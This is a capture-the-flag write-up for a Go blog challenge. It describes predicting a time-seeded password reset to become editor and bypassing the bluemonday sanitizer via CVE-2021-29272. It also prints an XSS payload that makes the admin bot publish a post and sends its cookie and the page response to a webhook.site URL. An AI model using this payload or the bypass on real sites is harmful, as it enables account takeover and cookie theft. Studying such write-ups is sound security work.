Description
My boss sucks. He keeps telling me to say that I like terrible movies. I can’t publish anything without getting his okay. Can you figure out how to get into his account and publish some new articles for me?
Flag
flag{i_see_a_ship_in_the_harbor_i_can_and_shall_obey}
Our Solution
Enumerating Sourcecode
Attached with the challenge we find a zip-file: partial-src.zip. Inside of the zip there are 4 golang files: admin.go, comments.go, index.go, and main.go.
Inspecting the source of admin.go we find out that when we finally become admin we can get the flag by publishing a post.
However not only the admin
can create posts, there also are editors. Editors are able to create posts but not editing them. First we should try to become editor
.
Looking a bit further we can find some interesting code in index.go, there seems to be a password reset functionality.
It generates a password and sends this to the email the account is registered with. Below is the code that is used to generate said password.
rand.Seed(time.Now().Unix())
password := []byte(fmt.Sprintf("%d\n", rand.Int()))
new_password := fmt.Sprintf("%x", md5.Sum(password))
fmt.Printf("%v", new_password)
warning
This code is not the same as provided in the partial source. The bug in the format specifier has been fixed to correctly format integers. Calling fmt.Sprintf("%s\n", 42)
returns %!s(int=42)
. The live version calls fmt.Sprintf("%d\n", 42)
instead, returning 42
.
rand.Seed(time.Now().Unix())
password := []byte(fmt.Sprintf("%s\n", rand.Int()))
new_password := fmt.Sprintf("%x", md5.Sum(password))
fmt.Printf("%v", new_password)
Something that struck my eye is that the code uses the current unix timestamp as a seed for the random number generator.
Can’t we just reset the password for admin
and guess the password?
Sadly this won’t be possible because of this snippet of code at the beginning of the function. It detects if the user we are trying to reset is admin
and won’t let us do it.
if name == "admin" {
c.HTML(http.StatusOK, "message.html", pongo2.Context{
"message": "How dare you! My password can't be reset! Are you a criminal?",
})
return
}
Becoming editor
However we can still do this to attack the editor
user. We wrote the following script to do this task for us (download)
|
|
We can run this script using go run generatePassword.go
, it takes a while but when it finishes we receive a password we can use to login as editor
.
Logging in as Editor
When we are editor
we are able to make posts.
We are maybe able to insert XSS inside our posts. Since the admin account will open newly created posts, this would allow us to grab his token and get the flag.
Trying this we find something out, our input is sanitized. There must be a way. Searching the sourcecode we find out that there is a sanitizer
var (
Sanitizer = bluemonday.UGCPolicy()
)
After searching the web we find this CVE: CVE-2021-29272 and its related Github Issue
Apparently due to the use of .ToLower
, cyrillic characters would be converted back allowing you to bypass the sanitizer.
Attached is the following POC
<scrİpt><script>alert(document.domain)</script>
Getting Admin and the flag
Lets create a post with the following payload.
<scrİpt><script>fetch("/admin/posts/publish", { method: "POST" }).then(res => res.text()).then(flag => fetch("https://webhook.site/REDACTED?" + document.cookie, {
method: "POST",
body: flag,
}))</script>
What this payload does is make the admin send a POST request to /admin/posts/publish
and then send the response data to a website we control so we can get the body.
Inside of the request we will see the flag inside of the body.
Now after waiting we got a callback which contains the flag in its body!
note
Unfortunately the admin bot has been broken while trying to take screenshots for this writeup, this however is what the data looks like when we go to the page ourselves, when the bot goes to the page we would also see the flag in there
Unintentional solve using SQL Injection (by @tomato6333)
Discussing this challenge in the Discord after the CTF we also discovered an unintentional solution, and we will need to thank @tomato6333
for this.
They found out that there was an SQL Injection possible in the live version of the challenge.
Turns out there was also a CVE inside of the go-gorm
library
This is the cve that was used CVE-2019-15562 and the GitHub issue containing both a fix and a revert of said fix: https://github.com/go-gorm/gorm/issues/2517
|
|
Conclusion
Overall was this a pretty fun challenge, the mismatch in server code and given code was a bit of a bummer.